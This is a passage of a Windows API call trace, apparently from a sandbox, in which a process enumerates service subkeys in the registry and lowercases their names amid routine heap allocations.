Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.272] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.272] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0251.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0251.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.272] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.272] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.272] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.272] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0251.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0251.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.272] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.272] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.272] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.272] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0251.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0251.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.273] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0251.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0251.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.273] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0251.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0251.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.273] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.273] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0251.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0251.273] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.274] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0251.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0251.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.274] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0251.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0251.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.274] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0251.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0251.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.274] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0251.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0251.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.275] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0251.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0251.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.275] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0251.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1da8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0251.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.275] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0251.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0251.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.276] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0251.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0251.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1da8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0251.276] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0251.276] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0251.276] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0251.276] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0251.276] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0251.276] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0251.276] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0251.276] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0251.276] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0251.277] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0251.277] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0251.277] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0251.277] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0251.277] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0251.277] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0251.277] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0251.277] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0251.277] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0251.277] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0251.277] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0251.277] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0251.277] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0251.278] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0251.278] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0251.278] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0251.278] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0251.278] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0251.278] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0251.278] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0251.278] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0251.278] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0251.278] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0251.278] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0251.278] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0251.278] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0251.279] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0251.279] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0251.279] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0251.279] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0251.279] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0251.279] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0251.279] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0251.279] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0251.279] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0251.279] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0251.279] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0251.279] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0251.279] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0251.280] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0251.280] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0251.280] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0251.280] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0251.280] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0251.280] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0251.280] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0251.280] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0251.280] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0251.280] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0251.280] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0251.280] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0251.280] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0251.281] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0251.281] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0251.281] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0251.281] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0251.281] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, 